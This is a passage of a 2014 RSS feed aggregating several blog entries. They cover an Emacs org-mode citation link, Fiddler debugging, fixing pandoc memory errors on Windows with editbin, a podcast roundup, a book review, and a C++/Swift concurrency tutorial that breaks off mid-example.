&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;defun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;export-cite&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;desc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Export [[cite:cohen93]] as \cite{cohen93} in LaTeX.&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;'latex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;equal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;search&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;cite:&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\cite{%s}&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;format&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;\\cite[%s]{%s}&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;desc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)))))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This registers a new link type in Org Mode: &lt;code&gt;![cite:cohen93](cite:cohen93)&lt;/code&gt;, which will jump to the appropriate bibliography entry when clicked, and get exported as &lt;code&gt;\cite{cohen93}&lt;/code&gt; in LaTeX. Awesome!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Tue, 23 Sep 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-09-23-org-cite.html</guid></item><item><title>Getting to Know Fiddler: Part VII: Wrapping up our Fiddler World Tour</title><link>https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-vii/</link><description>In the first six parts of our series, we examined some of the power that Fiddler has to offer us: we covered remote debugging, composing requests, breakpoints, autoresponders, plugins, and a bit of FiddlerScript. So what's next? There's still an incredible amount that Fiddler can do, but despite the &amp;ldquo;Land Before Time&amp;rdquo;-esque post names, this was never meant to be a comprehensive Fiddler feature tutorial. The series was just meant to cover some of Fiddler's most powerful yet underused features; specifically features that have gotten me out of a bind a time or two.</description><author>Joshua Rogers</author><pubDate>Mon, 22 Sep 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-09/getting-know-fiddler-part-vii/</guid></item><item><title>Digital innovation or Biourbanism? Both, of course!</title><link>https://stop.zona-m.net/2014/09/digital-innovation-or-biourbanism-both-of-course/</link><description>&lt;p&gt;&lt;strong&gt;(this is the translation of the final part of an article I published on the italian &lt;a href="http://www.pionero.it"&gt;Pionero Web magazine&lt;/a&gt; in April 2014. The first part is &lt;a href="https://stop.zona-m.net/2014/09/semi-random-thoughts-and-some-motivations-about-innovation-and-digital-technology/"&gt;available here&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 22 Sep 2014 09:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/09/digital-innovation-or-biourbanism-both-of-course/</guid></item><item><title>Fixing pandoc "out of memory" errors on Windows</title><link>https://jonathanchang.org/blog/fixing-pandoc-out-of-memory-errors-on-windows/</link><description>&lt;p&gt;&lt;img alt="pandoc crashes due to address space exhaustion." src="/uploads/2014/pandoc_oom_1.jpg" /&gt;&lt;/p&gt;
  &lt;p&gt;Recently I’ve been using the rmarkdown + knitr + pandoc workflow to write manuscripts. Markdown with Pandoc is roughly a million times easier to use than the equivalent LaTeX workflow. With the addition of RMarkdown and knitr included in RStudio, you can also weave R plots and output directly into your manuscripts. I was inspired to do this by Carl Boettiger’s &lt;a href="http://www.carlboettiger.info/"&gt;online lab notebook&lt;/a&gt; and Rich FitzJohn’s “&lt;a href="https://github.com/richfitz/wood"&gt;how much of the world is woody&lt;/a&gt;” reproducible research GitHub repository.&lt;/p&gt;
  &lt;p&gt;I was working with a Markdown document in RStudio when, after adding a bunch of citations, &lt;code&gt;pandoc.exe&lt;/code&gt; was crashing with an out-of-memory error. My Windows PC has 8 gigabytes of RAM and I found it unlikely that pandoc could consume &lt;em&gt;that&lt;/em&gt; much memory. After checking the Task Manager, it was clear that pandoc was only consuming about 1.8 GB of memory, suggesting that it was not a true out-of-memory error, but rather virtual memory address space exhaustion†.&lt;/p&gt;
  &lt;p&gt;Luckily for us there is a utility that comes with &lt;a href="http://www.visualstudio.com/en-us/products/visual-studio-express-vs.aspx"&gt;Microsoft Visual Studio&lt;/a&gt; (it’s free!) that allows us to poke around in the executable file’s headers and forcefully enable a special flag that should help alleviate this issue. Once you have VS installed, start up the developer command prompt in elevated mode (Shift-Right-click – Run as Administrator) and type into the terminal:&lt;/p&gt;
  &lt;div class="highlighter-rouge"&gt;
    &lt;div class="highlight"&gt;
      &lt;pre class="highlight"&gt;&lt;code&gt;editbin /LARGEADDRESSAWARE "C:\Program Files\RStudio\bin\pandoc\pandoc.exe"
editbin /LARGEADDRESSAWARE "C:\Program Files\RStudio\bin\pandoc\pandoc-citeproc.exe"
&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;p&gt;You can then use &lt;code&gt;dumpbin /headers &amp;quot;C:\Program Files\RStudio\bin\pandoc\pandoc.exe&amp;quot; | more&lt;/code&gt; and look for “Application can handle large (&amp;gt;2GB) addresses” to confirm that the fix worked.&lt;/p&gt;
  &lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href="https://www.techpowerup.com/forums/threads/large-address-aware.112556/"&gt;The Large Address Aware app&lt;/a&gt; can do the same with a GUI and no need to download the entirety of VS.&lt;/p&gt;
  &lt;p&gt;&lt;img alt="pandoc successfully using &amp;gt;2GB of memory." src="/uploads/2014/pandoc_oom_2.jpg" /&gt;&lt;/p&gt;
  &lt;p&gt;†&lt;em&gt;Technical details:&lt;/em&gt; 32-bit Windows systems can address up to 4GB of RAM, but all versions of Windows limit the program to 2GB, since the other 2GB of address space is reserved by the kernel. Windows XP introduced the &lt;code&gt;/LARGEADDRESSAWARE&lt;/code&gt; flag that allowed 32-bit programs to address up to 3GB of RAM on 32-bit systems, and 4GB on 64-bit systems. There was also Physical Address Extensions which allowed &amp;gt;4GB addressing, but I don’t think anyone outside of the server realm ever used it.&lt;/p&gt;
  &lt;p&gt;All that is really necessary to make 32-bit programs use the full 4GB of address space is to set a special linker flag and make sure that your code doesn’t have faulty assumptions about how Windows lays out its memory. For example, if you knew that the kernel always reserved the upper half of the address space for itself, you can &lt;a href="https://en.wikipedia.org/wiki/Tagged_pointer"&gt;smuggle data into the upper two bytes of user-space pointers&lt;/a&gt;.&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Mon, 22 Sep 2014 00:37:29 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/fixing-pandoc-out-of-memory-errors-on-windows/</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-91514.html</link><description>&lt;p&gt;Lots of John Roderick this time around, not that that&amp;#8217;s a bad thing, interrupted only by a fantastic episode of Exponent with Ben Thompson and James Allworth. As always, enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-91514.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 21 Sep 2014 16:01:45 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-91514.html</guid></item><item><title>Conduit (Emily Monroe #1)</title><link>https://apurva-shukla.me/bookshelf/conduit/</link><description>⭐ ⭐ ⭐ ⭐ Fast paced, thrilling, and beautifully written.. What more can you ask for? Well I would say a bit more character development (I…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Sun, 21 Sep 2014 15:08:09 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/conduit/</guid></item><item><title>Semi-random thoughts (and some motivations) about innovation  and digital technology</title><link>https://stop.zona-m.net/2014/09/semi-random-thoughts-and-some-motivations-about-innovation-and-digital-technology/</link><description>&lt;p&gt;(this is a partial translation of an article I published on the italian &lt;a href="http://www.pionero.it"&gt;Pionero Web magazine&lt;/a&gt; in April 2014. The second part &lt;a href="https://stop.zona-m.net/2014/09/digital-innovation-or-biourbanism-both-of-course"&gt;is here&lt;/a&gt;). _Several of my &lt;a href="http://mfioretti.com"&gt;publications and projects&lt;/a&gt; come, among other things, from these considerations (which of course I am not the only one to have made!):&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 21 Sep 2014 09:10:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2014/09/semi-random-thoughts-and-some-motivations-about-innovation-and-digital-technology/</guid></item><item><title>Concurrency: Spawning Independent Tasks</title><link>https://whackylabs.com/concurrency/2014/09/21/concurrency-spawning-independent-tasks/</link><description>&lt;p&gt;First step in getting with concurrency is spawning tasks in background
thread.&lt;/p&gt;

&lt;p&gt;Lets say we’re building a chat application where a number of users chat
in a common room. In this sort of scenario every user is probably
chatting at the same instance. For sake of simplicity let’s say each
user can only have a single character username. And obviously such a
constraint is definitely going to outrage the users. So, pissed off as
they are, they’re just printing their usernames over and over again.&lt;/p&gt;

&lt;p&gt;To support such a functionality, we might need a function like such:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;uname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;uname&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sc"&gt;' '&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In a single threaded environment, whatever user invokes this method gets
the control of the CPU and their username is going to get printed until
the loop expires.&lt;/p&gt;

&lt;p&gt;If there are two users in the chat room with usernames ‘X’ and ‘Y’, each
wants to print their username 10 times. The calling code might look
something like:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SingleThreadRoom&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'X'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'Y'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output is as expected:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;X X X X X X X X X X 
Y Y Y Y Y Y Y Y Y Y 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, to make the app slightly better, let’s give both the users equal
weights. Each user should be able to perform the same task in their own
thread. Simplest way to spawn a new thread is by calling join()&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;MultiThreadRoom&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;threadX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'X'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;threadY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'Y'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;threadX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;threadY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On my machine this outputs as:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;YX  YX  YX  YX  YX  YX  YX  YX  YX  YX  
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Calling join() on a thread attaches the thread to the calling thread.
When the app launches we already get the main thread, and since we’re
calling join() on the main thread, the two spawned threads get joined to
the main thread.&lt;/p&gt;

&lt;p&gt;If we need a thread for some task that is of kind fire-and-forget, we
can call detach(). But, if we call detach() we’ve no control of the
thread lifetime anymore. It’s something like the main thread doesn’t
cares anymore.&lt;/p&gt;

&lt;p&gt;For a program like:&lt;/p&gt;

&lt;div class="language-cpp highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;MultiThreadRoomDontCare&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;threadX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'X'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="kr"&gt;thread&lt;/span&gt; &lt;span class="n"&gt;threadY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PrintUsername&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sc"&gt;'Y'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;threadX&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detach&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;threadY&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detach&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;MultiThreadRoomDontCare&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;cout&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s"&gt;"MainThread: Goodbye"&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;endl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The output on my machine is:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;MainThread: Goodbye
XY  XY
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As you can see the main thread doesn’t care if it’s child thread are
still not finished.&lt;/p&gt;

&lt;p&gt;Getting over to Swift, we don’t have to manually track the threads, but
think in more higher terms as tasks and queues.&lt;/p&gt;

&lt;p&gt;First problem we face when trying out async code in Playground is that
the NSRunLoop isn’t running in Playground as it is with out native apps.
The solution is to import the XCPlayground and call
XCPSetExecutionShouldContinueIndefinitely() method. &lt;a href="http://stackoverflow.com/a/24066317/286094"&gt;All thanks to the
internet&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here’s a test code that works:&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;UIKit&lt;/span&gt;
&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;XCPlayground&lt;/span&gt;

&lt;span class="kt"&gt;XCPSetExecutionShouldContinueIndefinitely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;continueIndefinitely&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kt"&gt;NSOperationQueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;mainQueue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSBlockOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
    &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello World!!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}))&lt;/span&gt;

&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;done&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"Done"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since, we’re talking in terms of queues and tasks, we have to change the
way of thinking. Now, we don’t care about threads anymore, only tasks.
The task is to print the username. This task is going to be submitted to
the queue and the queue internally shall manage the threads.&lt;/p&gt;

&lt;p&gt;A code like:&lt;/p&gt;

&lt;div class="language-swift highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;printUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;uname&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uname&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;chatQueue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;NSOperationQueue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;NSOperationQueue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;multiThreadRoom&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;chatQueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSBlockOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="nf"&gt;printUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"X"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}))&lt;/span&gt;

        &lt;span class="n"&gt;chatQueue&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;NSBlockOperation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;block&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;Void&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
            &lt;span class="nf"&gt;printUsername&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Y"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}))&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nf"&gt;multiThreadRoom&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Main Thread Quit"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Prints on my machine as:&lt;/p&gt;

